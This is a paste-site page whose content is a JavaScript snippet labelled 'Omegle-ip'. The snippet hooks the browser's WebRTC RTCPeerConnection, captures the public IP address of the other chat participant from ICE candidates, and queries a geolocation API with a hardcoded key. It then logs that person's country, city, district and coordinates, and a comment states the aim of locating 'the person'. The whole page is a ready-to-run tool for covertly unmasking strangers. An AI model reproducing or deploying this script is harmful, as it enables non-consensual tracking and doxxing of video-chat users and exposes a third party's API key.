Facebook
From samueleex, 1 Year ago, written in JavaScript.
Embed
Download Paste or View Raw
Hits: 399
  1. let keyapi = "8d3373cc74884e1d8cf43a792b1da3b5"; window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection; window.RTCPeerConnection = function (...args) { const pc = new window.oRTCPeerConnection(...args); pc.oaddIceCandidate = pc.addIceCandidate; pc.addIceCandidate = function (iceCandidate, ...rest) { const fields = iceCandidate.candidate.split(" "); console.log(iceCandidate.candidate); const ip = fields[4]; if (fields[7] === "srflx") { getLocation(ip); } return pc.oaddIceCandidate(iceCandidate, ...rest); }; return pc;};// Use the API to be able to locate the person thanks to an IP :)let getLocation = async (ip) => { let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${keyapi}&ip=${ip}`; await fetch(url).then((response) => response.json().then((json) => { const output = `-------------------------------IP: ${ip}Country: ${json.country_name}State: ${json.state_prov}City: ${json.city}District: ${json.district}Lat / Long: (${json.latitude}, ${json.longitude})-------------------------------by L14 :) `; console.log(output); }) );};

Replies to Omegle-ip rss

Title Name Language When
Re: Omegle-ip Putrid Mockingbird lua 1 Year ago.